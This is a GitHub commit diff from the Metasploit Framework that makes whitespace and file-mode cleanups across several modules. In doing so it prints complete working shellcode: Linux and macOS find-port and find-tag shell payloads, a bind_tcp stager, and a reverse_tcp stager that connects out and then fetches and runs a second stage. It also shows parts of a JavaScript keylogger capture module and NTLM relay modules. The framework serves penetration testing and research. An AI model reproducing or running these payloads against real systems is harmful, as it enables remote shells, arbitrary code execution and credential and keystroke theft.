Skip to content

Commit 291ad27

Browse files
author
jvazquez-r7
committed
Merge branch 'msftidy_police' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-msftidy_police
2 parents dbbf1ec + 201518b commit 291ad27

File tree

10 files changed

+166
-166
lines changed

10 files changed

+166
-166
lines changed

‎modules/auxiliary/server/capture/http_javascript_keylogger.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -182,8 +182,8 @@ def process_data(cli, request, cid, data)
182182
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
183183
end
184184

185-
::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice }
186-
::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) }
185+
::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
186+
::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) }
187187

188188
if nice.length > 0
189189
print_good("[#{cid}] Keys: #{nice}")

‎modules/auxiliary/server/capture/http_ntlm.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -67,7 +67,7 @@ def initialize(info = {})
6767

6868
def on_request_uri(cli, request)
6969
print_status("Request '#{request.uri}'...")
70-
70+
7171
case request.method
7272
when 'OPTIONS'
7373
process_options(cli, request)
@@ -101,7 +101,7 @@ def run
101101
end
102102
exploit()
103103
end
104-
104+
105105
def process_options(cli, request)
106106
print_status("OPTIONS #{request.uri}")
107107
headers = {

‎modules/auxiliary/server/http_ntlmrelay.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,7 @@ def initialize(info = {})
9393

9494
# Handles the initial requests waiting for the browser to try NTLM auth
9595
def on_request_uri(cli, request)
96-
96+
9797
case request.method
9898
when 'OPTIONS'
9999
process_options(cli, request)
@@ -136,7 +136,7 @@ def run
136136
parse_args()
137137
exploit()
138138
end
139-
139+
140140
def process_options(cli, request)
141141
print_status("OPTIONS #{request.uri}")
142142
headers = {

‎modules/payloads/singles/linux/x64/shell_find_port.rb

Lines changed: 40 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -38,50 +38,50 @@ def initialize(info = {})
3838
'CPORT' => [ 32, 'n' ],
3939
},
4040

41-
'Assembly' => <<EOS
42-
xor rdi,rdi
43-
xor rbx,rbx
44-
mov bl,0x14
45-
sub rsp,rbx
46-
lea rdx,[rsp]
47-
lea rsi,[rsp+4]
48-
find_port:
49-
push 0x34 ; getpeername
50-
pop rax
51-
syscall
52-
inc rdi
53-
cmp word [rsi+2],0x4142
54-
jne find_port
55-
dec rdi
56-
push 2
57-
pop rsi
58-
dup2:
59-
push 0x21 ; dup2
60-
pop rax
61-
syscall
62-
dec rsi
63-
jns dup2
64-
mov rbx,rsi
65-
mov ebx, 0x68732f41
66-
mov eax,0x6e69622f
67-
shr rbx,8
68-
shl rbx,32
69-
or rax,rbx
70-
push rax
71-
mov rdi,rsp
72-
xor rsi,rsi
73-
mov rdx,rsi
74-
push 0x3b ; execve
75-
pop rax
76-
syscall
77-
EOS
41+
'Assembly' => %Q|
42+
xor rdi,rdi
43+
xor rbx,rbx
44+
mov bl,0x14
45+
sub rsp,rbx
46+
lea rdx,[rsp]
47+
lea rsi,[rsp+4]
48+
find_port:
49+
push 0x34 ; getpeername
50+
pop rax
51+
syscall
52+
inc rdi
53+
cmp word [rsi+2],0x4142
54+
jne find_port
55+
dec rdi
56+
push 2
57+
pop rsi
58+
dup2:
59+
push 0x21 ; dup2
60+
pop rax
61+
syscall
62+
dec rsi
63+
jns dup2
64+
mov rbx,rsi
65+
mov ebx, 0x68732f41
66+
mov eax,0x6e69622f
67+
shr rbx,8
68+
shl rbx,32
69+
or rax,rbx
70+
push rax
71+
mov rdi,rsp
72+
xor rsi,rsi
73+
mov rdx,rsi
74+
push 0x3b ; execve
75+
pop rax
76+
syscall
77+
|
7878
}
7979
))
8080
end
8181

82-
def size
83-
return 91
84-
end
82+
def size
83+
return 91
84+
end
8585

8686

8787
end

‎modules/payloads/singles/osx/x64/say.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -38,10 +38,10 @@ def generate
3838
payload =
3939
"\x48\x31\xC0" + # xor rax,rax
4040
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
41-
call +
42-
"/usr/bin/say\x00" +
41+
call +
42+
"/usr/bin/say\x00" +
4343
say +
44-
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
44+
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
4545
"\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd]
4646
"\x48\x31\xD2" + # xor rdx,rdx
4747
"\x52" + # push rdx

‎modules/payloads/singles/osx/x64/shell_find_tag.rb

Lines changed: 35 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -44,41 +44,41 @@ def generate
4444
cmd = (datastore['CMD'] || '') << "\x00"
4545
call = "\xe8" + [cmd.length].pack('V')
4646

47-
payload =
48-
"\x48\x31\xFF" + # xor rdi,rdi
49-
"\x57" + # push rdi
50-
"\x48\x89\xE6" + # mov rsi,rsp
51-
"\x6A\x04" + # push byte +0x4
52-
"\x5A" + # pop rdx
53-
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
54-
"\x4D\x31\xC0" + # xor r8,r8
55-
"\x4D\x31\xC9" + # xor r9,r9
56-
"\x48\xFF\xCF" + # dec rdi
57-
"\x48\xFF\xC7" + # inc rdi
58-
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
59-
"\x0F\x05" + # loadall286
60-
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
61-
datastore['TAG'] +
62-
"\x75\xED" + # jnz 0x17
63-
"\x48\x31\xC9" + # xor rcx,rcx
64-
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
65-
"\x0F\x05" + # loadall286
66-
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
67-
"\x48\x31\xF6" + # xor rsi,rsi
68-
"\x0F\x05" + # loadall286
69-
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
70-
"\x48\xFF\xC6" + # inc rsi
71-
"\x0F\x05" + # loadall286
72-
"\x48\x31\xC0" + # xor rax,rax
73-
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
74-
call +
75-
cmd +
76-
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
77-
"\x48\x31\xD2" + # xor rdx,rdx
78-
"\x52" + # push rdx
79-
"\x57" + # push rdi
80-
"\x48\x89\xE6" + # mov rsi,rsp
81-
"\x0F\x05" # loadall286
47+
payload =
48+
"\x48\x31\xFF" + # xor rdi,rdi
49+
"\x57" + # push rdi
50+
"\x48\x89\xE6" + # mov rsi,rsp
51+
"\x6A\x04" + # push byte +0x4
52+
"\x5A" + # pop rdx
53+
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
54+
"\x4D\x31\xC0" + # xor r8,r8
55+
"\x4D\x31\xC9" + # xor r9,r9
56+
"\x48\xFF\xCF" + # dec rdi
57+
"\x48\xFF\xC7" + # inc rdi
58+
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
59+
"\x0F\x05" + # loadall286
60+
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
61+
datastore['TAG'] +
62+
"\x75\xED" + # jnz 0x17
63+
"\x48\x31\xC9" + # xor rcx,rcx
64+
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
65+
"\x0F\x05" + # loadall286
66+
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
67+
"\x48\x31\xF6" + # xor rsi,rsi
68+
"\x0F\x05" + # loadall286
69+
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
70+
"\x48\xFF\xC6" + # inc rsi
71+
"\x0F\x05" + # loadall286
72+
"\x48\x31\xC0" + # xor rax,rax
73+
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
74+
call +
75+
cmd +
76+
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
77+
"\x48\x31\xD2" + # xor rdx,rdx
78+
"\x52" + # push rdx
79+
"\x57" + # push rdi
80+
"\x48\x89\xE6" + # mov rsi,rsp
81+
"\x0F\x05" # loadall286
8282
end
8383

8484
end

‎modules/payloads/stagers/osx/x64/bind_tcp.rb

Lines changed: 61 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -27,67 +27,67 @@ def initialize(info = { })
2727
{
2828
'Offsets' => { 'LPORT' => [ 31, 'n'] },
2929
'Payload' =>
30-
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
31-
"\x6A\x02" + # push byte +0x2
32-
"\x5F" + # pop rdi
33-
"\x6A\x01" + # push byte +0x1
34-
"\x5E" + # pop rsi
35-
"\x48\x31\xD2" + # xor rdx,rdx
36-
"\x0F\x05" + # loadall286
37-
"\x48\x89\xC7" + # mov rdi,rax
38-
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
39-
"\x48\x31\xF6" + # xor rsi,rsi
40-
"\x56" + # push rsi
41-
"\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200
42-
"\x56" + # push rsi
43-
"\x48\x89\xE6" + # mov rsi,rsp
44-
"\x6A\x10" + # push byte +0x10
45-
"\x5A" + # pop rdx
46-
"\x0F\x05" + # loadall286
47-
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
48-
"\x48\x31\xF6" + # xor rsi,rsi
49-
"\x48\xFF\xC6" + # inc rsi
50-
"\x49\x89\xFC" + # mov r12,rdi
51-
"\x0F\x05" + # loadall286
52-
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
53-
"\x4C\x89\xE7" + # mov rdi,r12
54-
"\x48\x89\xE6" + # mov rsi,rsp
55-
"\x48\x89\xE2" + # mov rdx,rsp
56-
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
57-
"\x0F\x05" + # loadall286
58-
"\x49\x89\xC5" + # mov r13,rax
59-
"\x48\x89\xC7" + # mov rdi,rax
60-
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
61-
"\x48\x31\xC9" + # xor rcx,rcx
62-
"\x51" + # push rcx
63-
"\x48\x89\xE6" + # mov rsi,rsp
64-
"\xBA\x04\x00\x00\x00" + # mov edx,0x4
65-
"\x4D\x31\xC0" + # xor r8,r8
66-
"\x4D\x31\xD2" + # xor r10,r10
67-
"\x0F\x05" + # loadall286
68-
"\x41\x5B" + # pop r11
69-
"\x4C\x89\xDE" + # mov rsi,r11
70-
"\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000
71-
"\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000
72-
"\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5
73-
"\x48\x31\xFF" + # xor rdi,rdi
74-
"\x48\xFF\xCF" + # dec rdi
75-
"\xBA\x07\x00\x00\x00" + # mov edx,0x7
76-
"\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002
77-
"\x49\x89\xF8" + # mov r8,rdi
78-
"\x4D\x31\xC9" + # xor r9,r9
79-
"\x0F\x05" + # loadall286
80-
"\x48\x89\xC6" + # mov rsi,rax
81-
"\x56" + # push rsi
82-
"\x4C\x89\xEF" + # mov rdi,r13
83-
"\x48\x31\xC9" + # xor rcx,rcx
84-
"\x4C\x89\xDA" + # mov rdx,r11
85-
"\x4D\x31\xC0" + # xor r8,r8
86-
"\x4D\x31\xD2" + # xor r10,r10
87-
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
88-
"\x0F\x05" + # loadall286
89-
"\x58" + # pop rax
90-
"\xFF\xD0" # call rax
30+
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
31+
"\x6A\x02" + # push byte +0x2
32+
"\x5F" + # pop rdi
33+
"\x6A\x01" + # push byte +0x1
34+
"\x5E" + # pop rsi
35+
"\x48\x31\xD2" + # xor rdx,rdx
36+
"\x0F\x05" + # loadall286
37+
"\x48\x89\xC7" + # mov rdi,rax
38+
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
39+
"\x48\x31\xF6" + # xor rsi,rsi
40+
"\x56" + # push rsi
41+
"\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200
42+
"\x56" + # push rsi
43+
"\x48\x89\xE6" + # mov rsi,rsp
44+
"\x6A\x10" + # push byte +0x10
45+
"\x5A" + # pop rdx
46+
"\x0F\x05" + # loadall286
47+
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
48+
"\x48\x31\xF6" + # xor rsi,rsi
49+
"\x48\xFF\xC6" + # inc rsi
50+
"\x49\x89\xFC" + # mov r12,rdi
51+
"\x0F\x05" + # loadall286
52+
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
53+
"\x4C\x89\xE7" + # mov rdi,r12
54+
"\x48\x89\xE6" + # mov rsi,rsp
55+
"\x48\x89\xE2" + # mov rdx,rsp
56+
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
57+
"\x0F\x05" + # loadall286
58+
"\x49\x89\xC5" + # mov r13,rax
59+
"\x48\x89\xC7" + # mov rdi,rax
60+
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
61+
"\x48\x31\xC9" + # xor rcx,rcx
62+
"\x51" + # push rcx
63+
"\x48\x89\xE6" + # mov rsi,rsp
64+
"\xBA\x04\x00\x00\x00" + # mov edx,0x4
65+
"\x4D\x31\xC0" + # xor r8,r8
66+
"\x4D\x31\xD2" + # xor r10,r10
67+
"\x0F\x05" + # loadall286
68+
"\x41\x5B" + # pop r11
69+
"\x4C\x89\xDE" + # mov rsi,r11
70+
"\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000
71+
"\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000
72+
"\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5
73+
"\x48\x31\xFF" + # xor rdi,rdi
74+
"\x48\xFF\xCF" + # dec rdi
75+
"\xBA\x07\x00\x00\x00" + # mov edx,0x7
76+
"\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002
77+
"\x49\x89\xF8" + # mov r8,rdi
78+
"\x4D\x31\xC9" + # xor r9,r9
79+
"\x0F\x05" + # loadall286
80+
"\x48\x89\xC6" + # mov rsi,rax
81+
"\x56" + # push rsi
82+
"\x4C\x89\xEF" + # mov rdi,r13
83+
"\x48\x31\xC9" + # xor rcx,rcx
84+
"\x4C\x89\xDA" + # mov rdx,r11
85+
"\x4D\x31\xC0" + # xor r8,r8
86+
"\x4D\x31\xD2" + # xor r10,r10
87+
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
88+
"\x0F\x05" + # loadall286
89+
"\x58" + # pop rax
90+
"\xFF\xD0" # call rax
9191
}
9292
))
9393
end

‎modules/payloads/stagers/osx/x64/reverse_tcp.rb

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -31,19 +31,19 @@ def initialize(info = { })
3131
'LPORT' => [ 35, 'n']
3232
},
3333
'Payload' =>
34-
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
35-
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
36-
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
37-
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
38-
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
39-
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
40-
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
41-
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
42-
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
43-
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
44-
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
45-
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
46-
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
34+
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
35+
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
36+
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
37+
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
38+
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
39+
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
40+
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
41+
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
42+
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
43+
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
44+
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
45+
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
46+
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
4747
}
4848
))
4949
end

0 commit comments

Comments
 (0)